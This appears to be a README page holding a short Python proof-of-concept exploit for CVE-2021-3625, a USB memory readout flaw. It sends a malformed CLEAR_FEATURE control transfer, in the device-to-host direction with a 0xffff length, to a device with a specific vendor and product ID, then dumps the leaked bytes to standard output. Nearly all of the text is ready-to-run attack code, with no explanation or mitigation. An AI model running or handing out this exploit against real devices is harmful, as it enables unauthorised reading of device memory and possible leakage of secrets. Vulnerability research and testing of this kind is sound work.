README.md
Rendering markdown...
#!/usr/bin/python3
#
# CVE-2021-3625 POC
#
# Memory readout exploit for usb device CLEAR_FEATURE
#
import sys
import usb.core
# get the device
usbdev = usb.core.find(idVendor=0x2fe3, idProduct=0x0100)
bmRequestType = 0x82
bRequest = 0x01
wValue = 0x00
wIndex = 0x00
length = 0xffff
# CLEAR_FEATURE transfer to Host? why not ...
data = usbdev.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, length)
sys.stdout.buffer.write(data)